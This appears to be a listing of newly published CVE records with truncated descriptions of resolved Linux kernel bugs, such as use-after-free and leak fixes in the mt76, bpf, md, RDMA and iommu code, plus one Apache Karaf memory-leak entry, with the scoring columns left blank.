CVE-2026-90351	New						In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: mt7996: do not attach hif2 WED when the main WED attach failed If the WED attach for the primary PCIe function fails, the probe path still attached wed_hif2 for the secondary function, leaving the device in an inconsistent half-WED configuration that crashes later. The hif2 call also re-enabled...
CVE-2026-90352	New						In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: mt7915: release hif2 reference on probe IRQ failure The hif2 reference obtained by mt7915_pci_init_hif2() is only released on error paths that key off dev->hif2, which is not assigned until after the IRQ setup. If pci_alloc_irq_vectors() or the primary devm_request_irq() fails, the reference le...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90353	New						In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: mt7915: fix ext PHY use-after-free on register error path After mt7915_register_ext_phy() succeeded, a failure of the main PHY mt7915_init_debugfs() or mt7915_coredump_register() unwound through free_phy2, which called ieee80211_free_hw() on the ext PHY hw while it was still registered with mac...
CVE-2026-90354	New						In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: mt7915: fix double hif2 init on the non-WED path mt7915_pci_init_hif2() was called unconditionally and again inside the WED-inactive branch. The helper increments the global hif_idx, writes the PCIe RECOG_ID register and takes a get_device() reference via mt7915_pci_get_hif2(), while removal on...
CVE-2026-90355	New						In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: mt7996: clear stale link state on full reset After a full chip reset, mac80211 reconfig replays interface, link and channel context setup. mt7996_vif_link_add() short-circuits when the link_id is still marked in mvif->valid_links, a state introduced for postponing link teardown to interface rem...
CVE-2026-90356	New						In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: mt7996: free vif links after clearing wcid entries on full reset mt7996_mac_reset_vif_iter() queues non-default vif links for kfree_rcu while dev->wcid[] still holds pointers to the wcid embedded in each freed link; mt76_reset_device() then dereferences those entries and runs mt76_wcid_cleanup(...
CVE-2026-90357	New						In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: mt7915: unlink TWT flow if the MCU rejects the agreement The flow is added to dev->twl_list before sending the agreement to the firmware, but the error path leaves it linked while flowid_mask is never set. The flow slot can then be reused and memset while still on the list, corrupting twl_list,...
CVE-2026-90358	New						In the Linux kernel, the following vulnerability has been resolved: bpf, x86: Fix trampoline stack size for 128-bit arguments btf_distill_func_proto() accepts a function argument up to 16 bytes, so a 128-bit scalar such as __int128 reaches the x86 trampoline with arg_size == 16. But the current implementation assumes an __int128 argument only needs one register, so the reg...
CVE-2026-90359	New						In the Linux kernel, the following vulnerability has been resolved: bpf: Reject >8 byte return values on return-reading trampoline paths btf_distill_func_proto() builds the function model used for the fentry/fexit/fmod_ret/fsession trampolines and struct_ops. It has accepted a 16-byte __int128 return value since the trampoline was introduced: __get_type_size() returns the ...
CVE-2026-90360	New						In the Linux kernel, the following vulnerability has been resolved: regulator: core: use system_freezable_wq for init complete work schedule_delayed_work() uses system_wq, which is non-freezable, allowing regulator_init_complete_work to run concurrently with system suspend. This work fires ~30s after boot to disable unused regulators via I2C. When it races with PM suspend,...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90361	New						In the Linux kernel, the following vulnerability has been resolved: wifi: ath11k: fix leak in ath11k_service_ready_ext_event() Currently, during ath11k_service_ready_ext_event() processing, svc_rdy_ext.mac_phy_caps can be allocated during TLV parsing. This is a temporary allocation that is freed on the success path, but not on the error path. If parsing succeeds far enough...
CVE-2026-90362	New						In the Linux kernel, the following vulnerability has been resolved: drm/msm/dsi: Drop dev_pm_opp_set_rate(0) dev_pm_opp_set_rate(0) removes the vote specified in required-ops but does not actually park the clock, making it run without the necessary power backing. Drop the explicit call to it. Every call site of ops->link_clk_disable() is followed by pm_runtime_put(), so ...
CVE-2026-90363	New						In the Linux kernel, the following vulnerability has been resolved: drm/msm: don't tear down KMS twice when KMS init fails When priv->kms_init() (mdp4_kms_init() / mdp5_kms_init()) fails partway through, both display drivers already tear their KMS state down via mdp4_destroy() / mdp5_kms_destroy() before returning the error. The common error path in msm_drm_init() then run...
CVE-2026-90364	New						In the Linux kernel, the following vulnerability has been resolved: ACPI: processor: Unregister cpufreq notifier on init failure acpi_processor_driver_init() registers the cpufreq policy notifier before registering the ACPI processor driver and setting up CPU hotplug state. If driver_register() or cpuhp_setup_state() fails, the error path only unregisters the ACPI process...
CVE-2026-90365	New						In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: cancel reset and rc work on device unregister Both drivers cancelled dump_work on unregister but left reset_work and rc_work to be flushed only by destroy_workqueue() in mt76_free_device(), which runs after the hw is unregistered and the hardware stopped. A reset_work that fires in that window ...
CVE-2026-90366	New						In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: mt7996: reserve space for the CSA-abort countdown TLV When a CSA countdown is active, mt7996_mcu_beacon_cntdwn() emits two bss_bcn_cntdwn_tlv entries (the CSA countdown and the CCA-abort BCC), but MT7996_BEACON_UPDATE_SIZE only reserved one. With MBSSID enabled and a near-maximum beacon templat...
CVE-2026-90367	New						In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: mt7996: hold dev->mt76.mutex while disabling tx worker in SER mt7996_mac_reset_work() parked the tx worker and disabled the RX/TX NAPIs before taking dev->mt76.mutex. mt76_worker_disable()/enable() are plain kthread park/unpark, not refcounted, and __mt76_set_channel() toggles the same worker ...
CVE-2026-90368	New						In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: mt7915: unwind state on add_interface failure When mt76_wcid_alloc() fails, mt7915_add_interface() returned without clearing the vif_mask/omac_mask bits it had already set, without removing the firmware dev info added earlier, and without clearing a monitor_vif pointer to the vif mac80211 is ab...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90369	New						In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: fix out-of-bounds access in mmio copy helpers mt76_mmio_write_copy() and mt76_mmio_read_copy() iterate up to ALIGN(len, 4), so a length that is not a multiple of four reads past the source buffer (write_copy) or writes past the destination (read_copy). Copy the aligned body in the loop and hand...
CVE-2026-90370	New						In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: mt7996: bound TLV walk in mt7996_mcu_get_chip_config The response TLV loop advanced by tlv->len without a minimum, so a theoretical firmware response containing a zero-length TLV could spin forever, hanging the CPU during device probe. The u32 payload was also read without bounds checking. Reje...
CVE-2026-90371	New						In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: fix RXDMAD_C buffer recycling race The RXDMAD_C buffers come from the RRO data queues' page pools, which are bound to a different NAPI, so the direct page-pool recycle used here could race the owning NAPI; take the non-direct path as is already done for WED RX queues.
CVE-2026-90372	New						In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: mt7915: avoid nss underflow in mt7915_mcu_get_sta_nss If a peer's VHT/HE MCS map has no supported spatial stream (all fields 0x3), the loop exits with nss == 0 and the function returned (u8)-1 (255), which was then written into the firmware sta_rec_bf beamforming fields. Clamp the result to 0.
CVE-2026-90373	New						In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: mt7915: clear wcid mask under mutex after RCU pointer clear mt7915_remove_interface() cleared the wcid mask bit with no lock held and before clearing the RCU wcid pointer. The mask is a non-atomic RMW shared with the allocators, which all run under dev->mt76.mutex; on DBDC the two wiphys share ...
CVE-2026-90374	New						In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: mt7996: validate RX band_idx before dereferencing phys[] band_idx comes from a 2-bit descriptor field (0-3) and was used directly to index dev->mt76.phys[] (size __MT_MAX_BAND == 3) and dereference the result. A corrupt or reserved descriptor value could index out of bounds or hit a NULL phy on...
CVE-2026-90375	New						In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: fix non-AQL packet accounting for MLO stations __mt76_tx_queue_skb() overrides the wcid passed by the driver with sta->drv_priv, so the wcid might incorrectly be changed after TX, causing wcid->non_aql_packets to be counted on the wrong wcid. For example, on the AP side, if a station's setup li...
CVE-2026-90376	New						In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: mt7996: fix MLD ID in MAC TXD and HIF TXP Problem: MCU command timeout while the firmware state is normal, and the firmware keeps showing the error log "ERROR!! NO PAUSE...". Root cause: If the MLD_ID field in the TXD is neither the primary link id nor the secondary link id, it may lead to a f...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90377	New						In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: fix RX data queuing of RRO 3.0 For RRO 3.0, RX data released from a RRO data queue should be put to the indicator queue. The frames are processed and completed in the context of the indicator queue NAPI, which only polls skbs queued on the MT_RXQ_RRO_IND list; frames queued under the data queue...
CVE-2026-90378	New						In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: mt792x: Fix memory leak in SDIO TX path When tx_prepare_skb() returns an error in the SDIO TX path, the skb is not freed, leading to a memory leak. This can occur when zero-length frames (such as WNM NULL frames) are dropped to prevent potential hardware TX hangs. Fix this by properly releasin...
CVE-2026-90379	New						In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: mt7921: Add PCIe AER handler support to prevent system crash When an AER error occurs and the bus is hung, the register reads return 0xFFFFFFFF, causing the DMA queue state to be corrupted and resulting in an invalid memory access when accessing q->desc[] or q->entry[]. Unable to handle kernel...
CVE-2026-90380	New						In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: mt792x: fix use-after-free in mt76_rx_poll_complete A use-after-free issue occurs in mt76_rx_poll_complete due to a race condition. The STA has already been removed, but the rx_status still had a pointer to the wcid in the STA. Set the links' wcid pointers to be NULL for a MLD in mt7925_sta_pr...
CVE-2026-90381	New						In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: fix handling channel context with different bands in mt76_switch_vif_chanctx() When performing channel switches on different radios within a short timeframe, channel contexts with different bands can be carried for each struct ieee80211_vif_chanctx_switch. Rework mt76_switch_vif_chanctx() to p...
CVE-2026-90382	New						In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: mt76x02: do not WARN on invalid rx descriptor length The MPDU length in the rx descriptor comes from the hardware. In monitor mode with the fcsfail filter enabled, the hardware passes up corrupted frames, and a corrupted frame can report a length larger than the received buffer. The bounds chec...
CVE-2026-90383	New						In the Linux kernel, the following vulnerability has been resolved: misc: sgi-gru: remove interrupt-context page-table walks The GRU TLB miss handler walks a process's page tables without holding page-table locks or a reference to the mapped page. It also uses a kernel page-table accessor on user page tables and supports only PMD-level large mappings on x86-64. Remove the...
CVE-2026-90384	New						In the Linux kernel, the following vulnerability has been resolved: iomap: release the folio batch on iomap callback failures A sashiko review of an unrelated patch points out that the folio batch mechanism used for iomap zero range fails to release the batch in a couple error scenarios. If either calls to ->iomap_end() or ->iomap_begin() fail, the direct return paths bypa...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90385	New						In the Linux kernel, the following vulnerability has been resolved: md/raid1: create serial pool adding rdev to array with serialize_policy=1 The following bug has been observed with kernel 7.1.3 after adding a new rdev to an existing RAID1 array with serialize_policy enabled: Oops: 0002 [#1] CPU: 0 UID: 0 PID: 19639 Comm: ext4lazyinit Not tainted 7.1.3-1-default RI...
CVE-2026-90386	New						In the Linux kernel, the following vulnerability has been resolved: i3c: dw: avoid shift-out-of-bounds when DAA assigns no devices On an empty bus ENTDAAs assigns nothing, so cmd->rx_len (the count of addresses left unassigned) equals master->maxdevs. The GENMASK() index master->maxdevs - cmd->rx_len - 1 then becomes -1, which trips up UBSAN. This happens every time on boo...
CVE-2026-90387	New						In the Linux kernel, the following vulnerability has been resolved: swiotlb: Preserve allocation virtual address for dynamic pools swiotlb_alloc_tlb() can allocate from the DMA atomic pool when a decrypted pool is needed from atomic context. With CONFIG_DMA_DIRECT_REMAP, the atomic pool is backed by remapped virtual addresses, which are not the same as the direct-map addre...
CVE-2026-90388	New						In the Linux kernel, the following vulnerability has been resolved: iommu/dma: Check atomic pool allocation result directly The non-blocking, non-coherent allocation path uses dma_alloc_from_pool(), which returns the allocated page and fills cpu_addr only on success. Do not rely on cpu_addr to detect allocation failure in this path. Check the returned page directly before...
CVE-2026-90389	New						In the Linux kernel, the following vulnerability has been resolved: md: scope memalloc_noio to allocation critical sections Storing a memalloc_noio_save() token in mddev->noio_flags lets one task save the token and another task restore it. With concurrent suspend sysfs writes, task A can enter PF_MEMALLOC_NOIO, return to userspace still in that scope, and later task B can ...
CVE-2026-90390	New						In the Linux kernel, the following vulnerability has been resolved: md/bitmap: resume array on backlog_store() error path backlog_store() suspends the array before checking whether a write-mostly device exists. If no such device exists, the error path only unlocks reconfig_mutex and leaves the array suspended, blocking subsequent I/O. Use mddev_unlock_and_resume() to rele...
CVE-2026-90391	New						In the Linux kernel, the following vulnerability has been resolved: lib/test_hmm: fail dmirror_fault() when the mirrored mm is gone dmirror_fault() is called from the dmirror_read() and dmirror_write() retry loops after dmirror_do_read() or dmirror_do_write() finds a missing device page table entry. If the mirrored mm has already exited, mmget_not_zero() fails. The curre...
CVE-2026-90392	New						In the Linux kernel, the following vulnerability has been resolved: bpf: Fix potential UAF when reading bpf link info In bpf_link_show_fdinfo and bpf_link_get_info_by_fd, link->prog is accessed without holding any locks. If the prog is concurrently replaced via bpf_link_update, the old prog can be freed, leading to a potential UAF issue. Fix this by accessing link->prog u...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90393	New						In the Linux kernel, the following vulnerability has been resolved: bpf: Fix potential UAF in bpf_netns_link_update_prog In bpf_netns_link_update_prog, the checks for old_prog and prog type are currently performed locklessly before acquiring netns_bpf_mutex. This creates a race condition that can lead to a UAF issue. If two threads concurrently execute BPF_LINK_UPDATE on ...
CVE-2026-90394	New						In the Linux kernel, the following vulnerability has been resolved: power: supply: sc2731_charger: cancel work on remove The USB notifier and initial charger detection can schedule info->work. The remove path unregisters the notifier, but does not cancel queued or running work before the devm-allocated driver data is released. Set the platform drvdata used by remove, then...
CVE-2026-90395	New						In the Linux kernel, the following vulnerability has been resolved: power: supply: isp1704_charger: cancel work on remove The USB notifier and initial VBUS detection can schedule isp->work. The remove path unregisters the notifier and power supply, but does not wait for queued or running work before tearing down the power supply state. Cancel the work after unregistering ...
CVE-2026-90396	New						In the Linux kernel, the following vulnerability has been resolved: block: fix dio leak on metadata mapping error A failed integrity mapping holds a dio reference, so we need to go through the full bio ending in case there were previously submitted bio's in the sequence.
CVE-2026-90397	New						In the Linux kernel, the following vulnerability has been resolved: firmware: qcom: scm: Fix NULL dereference in IRQ handler before __scm is published In qcom_scm_probe(), devm_request_threaded_irq() is called before smp_store_release(&__scm, scm). Two paths can dereference __scm before it is published, both causing a NULL pointer dereference. The IRQ handler receives scm...
CVE-2026-90398	New						In the Linux kernel, the following vulnerability has been resolved: wifi: ath11k: fix stride mismatch in mac_phy_caps_parse() Currently, in ath11k_wmi_tlv_mac_phy_caps_parse(), kcalloc() sizes the mac_phy_caps buffer as tot_phy_id * len, where len is clamped to min(firmware_len, sizeof(struct wmi_mac_phy_capabilities)). The subsequent memcpy() destination advances by sizeo...
CVE-2026-90399	New						In the Linux kernel, the following vulnerability has been resolved: wifi: ath12k: fix stride mismatch in mac_phy_caps_parse() Currently, in ath12k_wmi_mac_phy_caps_parse(), kzalloc() sizes the mac_phy_caps buffer as tot_phy_id * len, where len is clamped to min(firmware_len, sizeof(struct ath12k_wmi_mac_phy_caps_params)). The subsequent memcpy() destination advances by siz...
CVE-2026-90400	New						In the Linux kernel, the following vulnerability has been resolved: md: recheck spare changes before starting sync remove_spares() and remove_and_add_spares() modify the array's rdev configuration. These operations are only safe after the array has been suspended. md_start_sync() checks whether spare configuration changes are needed before taking reconfig_mutex. However, ...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90401	New						In the Linux kernel, the following vulnerability has been resolved: md: remove REQ_NOWAIT support from raid1/10/456 REQ_NOWAIT support in md personalities that can block internally is fundamentally incomplete. While reads can avoid some blocking paths, write requests can still encounter cases where one mirror succeeds while another returns -EAGAIN. At that point md cannot ...
CVE-2026-90402	New						In the Linux kernel, the following vulnerability has been resolved: bus: mhi: host: Fix controller cleanup on EDL sysfs failure mhi_register_controller() adds the controller device before creating the optional trigger_edl sysfs file. If sysfs_create_file() fails, the error path only drops the device reference and leaves the device registered. Hence, call device_del() in t...
CVE-2026-90403	New						In the Linux kernel, the following vulnerability has been resolved: wifi: rtlwifi: pci: fix error path in rtl_pci_probe() In the last error path in rtl_pci_probe(), the cleanup functions are skipped due to a wrong goto label. Moreover, the successful call to rtl_init_rfkll(), ieee80211_register_hw(), rtl_debug_add_one() have to be reverted. Fix this issue by updating the ...
CVE-2026-90404	New						In the Linux kernel, the following vulnerability has been resolved: platform/chrome: cros_ec_debugfs: Unregister panic notifier cros_ec_debugfs_probe() registers notifier_panic with the EC panic notifier chain. The remove path tears down debugfs and the console log, but leaves the notifier registered. A later panic notification can call back into the removed instance and q...
CVE-2026-90405	New						In the Linux kernel, the following vulnerability has been resolved: media: stm32: dcmi: fix some error handling bugs in probe() There are a few issues here: 1) After we assign: chan = dma_request_chan(&pdev->dev, "tx"); Then the error paths need to clean up before returning. The first error path does a direct return. 2) The error paths check "dcmi->mdma_cha...
CVE-2026-90406	New						In the Linux kernel, the following vulnerability has been resolved: media: qcom: iris: handle runtime PM resume failure in core deinit Check the return value of pm_runtime_resume_and_get() in iris_core_deinit(). If runtime PM resume fails, skip hardware power-off operations but still perform software teardown and state transition. Also skip the corresponding pm_runtime_pu...
CVE-2026-90407	New						In the Linux kernel, the following vulnerability has been resolved: wifi: ath11k: fix overreads in ath11k_wmi_process_csa_switch_count_event() There is no policy entry for WMI_TAG_PDEV_CSA_SWITCH_COUNT_STATUS_EVENT, so the parse infrastructure does not enforce a minimum length for the event struct. Additionally, the num_vdevs field is taken directly from firmware and used ...
CVE-2026-90408	New						In the Linux kernel, the following vulnerability has been resolved: wifi: ath12k: fix overreads in ath12k_wmi_process_csa_switch_count_event() There is no policy entry for WMI_TAG_PDEV_CSA_SWITCH_COUNT_STATUS_EVENT, so the parse infrastructure does not enforce a minimum length for the event struct. Additionally, the num_vdevs field is taken directly from firmware and used ...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90409	New						In the Linux kernel, the following vulnerability has been resolved: drm/panthor: Add vm_bind region with kbo range overlap check When a VM is created, caller has to specify the range of the address space carve-out set aside for mapping kernel BO's. That means vm_bind mappings of UM-exposed BO's should not intersect with that region, but at the moment we're not checking thi...
CVE-2026-90410	New						In the Linux kernel, the following vulnerability has been resolved: spi: davinci: switch to managed controller allocation The controller is allocated with the non-managed spi_alloc_host() while the interrupt is registered with devm_request_threaded_irq(). During removal, spi_bitbang_stop() only unregisters the controller; the subsequent spi_controller_put() then frees the...
CVE-2026-90411	New						In the Linux kernel, the following vulnerability has been resolved: nvme-fc: unmap cmd_iu DMA on rsp_iu mapping failure in init_request __nvme_fc_init_request() maps cmd_iu and then rsp_iu for DMA. If the rsp_iu mapping fails, the original code only recorded the error and fell through: it left the already-mapped cmd_iu unmapped and still marked the op as FCPOP_STATE_IDLE b...
CVE-2026-90412	New						In the Linux kernel, the following vulnerability has been resolved: nvmet: fix return status of RMI log page on allocation failure nvmet_execute_get_log_page_rmi() leaves 'status' holding NVME_SC_SUCCESS (set by the successful nvmet_req_find_ns() call) when the kzalloc() for the log buffer fails. It then jumps to the out label and completes the request with a success statu...
CVE-2026-90413	New						In the Linux kernel, the following vulnerability has been resolved: IB/isert: reject login PDUs declaring more data than was received isert_login_rcv_done() records how many bytes the HCA actually placed in the login buffer, but nothing compares that against the length the login PDU's BHS declares. isert_rx_login_req() copies min(login_req_len, MAX_KEY_VALUE_PAIRS) bytes...
CVE-2026-90414	New						In the Linux kernel, the following vulnerability has been resolved: IB/isert: reject PDUs declaring more data than was received isert_rcv_done() hands each received PDU to the opcode handlers without ever looking at wc->byte_len, the number of bytes the HCA actually placed in the receive descriptor. The handlers then copy that many bytes - the data-segment length the init...
CVE-2026-90415	New						In the Linux kernel, the following vulnerability has been resolved: RDMA/cxgb4: free STAG index when TPT entry write fails write_tpt_entry() allocates a new STAG index with c4iw_get_resource() and bumps stats.stag.cur before programming the entry. When write_adapter_mem() fails, it returns the error without releasing the index or reversing the statistic. No MR is inserte...
CVE-2026-90416	New						In the Linux kernel, the following vulnerability has been resolved: RDMA/mlx5: Fix stack out-of-bounds read in cc_params debugfs get_param() reads a congestion parameter as a u32 but formats it with the signed "%d" into an 11-byte stack buffer. A value with bit 31 set, such as 0x80000000, renders as "-2147483648\n" whose full length is 12. snprintf() stores only 11 bytes y...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90417	New						In the Linux kernel, the following vulnerability has been resolved: RDMA/cxgb4: Fix dereg_skb leak and double free in write_tpt_entry() When the device is in the fatal error state, write_tpt_entry() returns -EIO before handing the caller's preallocated skb to the transmit path; its allocation-failure returns do the same. c4iw_dereg_mr() ignores the error and frees mhp, lea...
CVE-2026-90418	New						In the Linux kernel, the following vulnerability has been resolved: nilfs2: fix BUG in nilfs_copy_dirty_pages() on dirty state mismatch Syzbot reported a kernel BUG triggered within nilfs_copy_dirty_pages(), which copies dirty DAT file folios/pages to its shadow page cache. The BUG occurs when a retrieved dirty folio/page unexpectedly loses its 'dirty' status. This issue...
CVE-2026-90419	New						In the Linux kernel, the following vulnerability has been resolved: nilfs2: prevent out-of-bounds read in super root block parsing super-root inode metadata size is trusted before nilfs_read_inode_common(). Reject super-root inode sizes whose computed on-disk footprint exceeds the filesystem block size. This prevents malformed filesystem images from making nilfs_read_inod...
CVE-2026-90420	New						In the Linux kernel, the following vulnerability has been resolved: nilfs2: fix infinite loop in nilfs_clean_segments() syzbot reported a hung task in nilfs_transaction_begin(). This occurs because the cleaner ioctl falls into an infinite loop if nilfs_segctor_construct() repeatedly returns -EROFS (e.g. the device is remounted as read-only after an I/O error). Currently i...
CVE-2026-90421	New						In the Linux kernel, the following vulnerability has been resolved: PCI: Fix UAF when probe runs concurrent to dyn ID removal Dynamic IDs are only guaranteed to be valid when dynids.lock is held, as remove_id_store() can free the node. Thus, make a copy in pci_match_device(). Also, clarify that the id parameter is only valid during probe.
CVE-2026-90422	New						In the Linux kernel, the following vulnerability has been resolved: clk: mediatek: pllfs: Fix IO remapping leak in register_pllfs error path When mtk_clk_register_pllfs function fails to register a PLL, it unregisters all PLLs and cleans up itself in its error path before returning, so the function callers don't need to do it. But contrary to mtk_clk_unregister_pllfs f...
CVE-2026-90423	New						In the Linux kernel, the following vulnerability has been resolved: RDMA/rxe: Fix UAF in ODP init error-handling path rxe_odp_mr_init_user() stores &umem_odp->umem in mr->umem before calling rxe_odp_init_pages(). If rxe_odp_init_pages() fails, rxe_odp_mr_init_user() releases umem_odp and returns an error. rxe_reg_user_mr() then unwinds the error through rxe_cleanup(), rxe...
CVE-2026-90424	New						In the Linux kernel, the following vulnerability has been resolved: iommu/tegra241-cmdqv: Fix VINTF0 leak on the init-failure path tegra241_cmdqv_init_structures() allocates VINTF0 with kzalloc_obj(), inits it, and preallocates its logical VCMDQs. Two of its error paths leak. When tegra241_cmdqv_init_vintf() fails it returns before VINTF0 reaches the cmdqv->vintfs[] array...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90425	New						In the Linux kernel, the following vulnerability has been resolved: iommu/tegra241-cmdqv: Require exactly one Stream ID for a vSID tegra241_vintf_init_vsid() maps a guest vSID to a single physical Stream ID taken from master->streams[0], and only warns when the device does not have exactly one stream. A device with several streams gets only its first one mapped, so a guest...
CVE-2026-90426	New						In the Linux kernel, the following vulnerability has been resolved: iommu/tegra241-cmdqv: Free the error IRQ before tearing down VINTFs tegra241_cmdqv_remove() tears each VINTF down first, then calls free_irq(). Tearing a VINTF down frees vintf0 and clears cmdqv->vintfs[0]. An error in that window makes tegra241_cmdqv_isr() read the stale slot and hand it to tegra241_vintf...
CVE-2026-90427	New						In the Linux kernel, the following vulnerability has been resolved: iommu/tegra241-cmdqv: Don't fall back to a freed smmu after devm_krealloc() __tegra241_cmdqv_probe() uses devm_krealloc() to grow @smmu into the larger tegra241_cmdqv, which frees the original @smmu once it relocates. A failure after that returned NULL, and the caller then dereferenced the freed @smmu on i...
CVE-2026-90428	New						In the Linux kernel, the following vulnerability has been resolved: iommu/tegra241-cmdqv: Don't run the error ISR before probe sets up vintfs __tegra241_cmdqv_probe() requests the error IRQ before it has allocated the cmdqv->vintfs array and set cmdqv->num_vintfs. A CMDQV left enabled with a latched error across a kexec fires the IRQ as soon as it is requested, and tegra24...
CVE-2026-90429	New						In the Linux kernel, the following vulnerability has been resolved: iommu/tegra241-cmdqv: Synchronize the error ISR against VINTF (de)init A user VINTF is torn down by tegra241_cmdqv_deinit_vintf(), which runs from the destroy callback and from the init-failure unwind in the alloc handler. It clears the cmdqv->vintfs[] slot and lets the iommufd core free it, but nothing se...
CVE-2026-90430	New						In the Linux kernel, the following vulnerability has been resolved: iommu/tegra241-cmdqv: Publish an LVCMDQ only after it is fully initialized tegra241_vintf_init_lvcmdq() stores the freshly allocated vcmdq pointer to the vintf->lvcmdqs[] array, before tegra241_vcmdq_alloc_smmu_cmdq() builds the vcmdq->cmdq. The error ISR dereferences that cmdq, so a latched LVCMDQ error (...)
CVE-2026-90431	New						In the Linux kernel, the following vulnerability has been resolved: remoteproc: Prevent crash handling to race with rproc_del() There's no synchronization between rproc_crash_handler_work() and rproc_del(), as such it's possible for a driver to be removed while crash-handler work is scheduled, or even executing - resulting in use-after-free issues. To avoid this the sched...
CVE-2026-90432	New						In the Linux kernel, the following vulnerability has been resolved: sched_ext: Abort directly from the hardlockup handler scx_hardlockup() defers the abort to an irq_work because exit claiming used to take scx_sched_lock and couldn't run from NMI. The deferral is now unnecessary - claiming is NMI-safe and asserting ->aborting is exactly what breaks the live-locks that hard...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90433	New						In the Linux kernel, the following vulnerability has been resolved: spi: oc-tiny: switch to managed controller allocation The controller is allocated with the non-managed spi_alloc_host() while the interrupt is registered with devm_request_irq(). During removal, spi_bitbang_stop() only unregisters the controller; the subsequent spi_controller_put() then frees the controll...
CVE-2026-90434	New						In the Linux kernel, the following vulnerability has been resolved: isofs: release zisofs block pointer buffer head zisofs_fill_pages() reads the compressed block pointer table. The error paths release the current buffer_head, the loop also releases the old buffer_head when it advances. However, the success path leaves the last buffer_head referenced. Release it before re...
CVE-2026-90435	New						In the Linux kernel, the following vulnerability has been resolved: RDMA/mlx5: Fix integer overflow of user QP buffer size set_user_buf_size() computes the QP buffer size by left-shifting the user-supplied rq.wqe_cnt and rq.wqe_shift values as signed integers. A sufficiently large rq.wqe_cnt causes signed integer overflow, which is undefined behavior, and yields a small or...
CVE-2026-92230	New						Apache Karaf's XmlUtils cached XML parser/transformer factories in static ThreadLocal fields on long-lived container threads. Because a ThreadLocal value outlives the OSGi bundle that created it, repeated bundle or feature install, update, or refresh operations can leave successive bundle ClassLoader's pinned in memory and unreachable for garbage collection, leading to unbou...
CVE-2026-92476	New						In the Linux kernel, the following vulnerability has been resolved: crypto: keembay - Initialize completion before requesting IRQ kmb_ocs_aes_probe() requests the device IRQ before initializing irq_completion. Once the handler is registered it can run immediately, and ocs_aes_irq_handler() unconditionally calls complete(). An interrupt in this window would therefore use an...
CVE-2026-92477	New						In the Linux kernel, the following vulnerability has been resolved: scsi: ufs: debugfs: Reserve space for a string terminator ufs_saved_err_write() copies user input into a zero-initialized stack buffer and passes it to kstrtoint(). A write that fills the entire buffer overwrites its only terminator. Reject an input whose length leaves no room for the trailing NUL.
CVE-2026-92478	New						In the Linux kernel, the following vulnerability has been resolved: scsi: ufs: core: Validate connected lane counts The connected lane count is used by TX equalization code to index arrays sized by UFS_MAX_LANES. Reject zero and out-of-range RX or TX lane counts before they can be propagated.
CVE-2026-92479	New						In the Linux kernel, the following vulnerability has been resolved: scsi: ufs: Avoid NULL CQE dereference when reporting invalid tags The single-doorbell completion path can call ufshcd_compl_one_cqe() with a NULL CQE. If no command is associated with the completion tag, the warning message dereferences the CQE while reporting the error. Avoid that dereference and include...
CVE-2026-92480	New						In the Linux kernel, the following vulnerability has been resolved: scsi: ufs: core: Validate string descriptors The string descriptor length includes a two-byte header while the UTF-16 payload starts after it. utf16s_to_utf8s() expects a count of UTF-16 code units, not bytes. Passing the payload byte count can make it read beyond the descriptor buffer. Validate that the ...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-92481	New						In the Linux kernel, the following vulnerability has been resolved: pinctrl: mediatek: free EINT resources on unbind mtk_eint_do_init() creates an IRQ domain, populates it with a mapping for every EINT line and installs a chained handler on the parent interrupt, but none of these are ever released. This was harmless while the drivers were built-in, but now that they can be...
CVE-2026-92482	New						In the Linux kernel, the following vulnerability has been resolved: pinctrl: mediatek: use devm_gpiochip_add_data() for GPIO chip The gpio_chip is allocated with device-managed memory but registered with the non-managed gpiochip_add_data(). This was harmless while the drivers were built-in, but once they can be built as modules and unbound/rmmod'd, devm frees the gpio_chip...
CVE-2026-92483	New						In the Linux kernel, the following vulnerability has been resolved: liveupdate: Remember FLB retrieve() status LUO keeps track of successful retrieve attempts on an FLB. It does so to avoid multiple retrievals of the same FLB. Multiple retrievals cause problems because once the FLB is retrieved, the serialized data structures are likely freed and the FLB is likely in a ver...
CVE-2026-92484	New						In the Linux kernel, the following vulnerability has been resolved: cxl/region: Fix use-after-free in find_pos_and_ways() error path The error path releases its reference to a switch decoder before logging an error that includes the decoder name. If the released reference is the last one, the decoder can be freed before the error message accesses its name. Drop the refere...
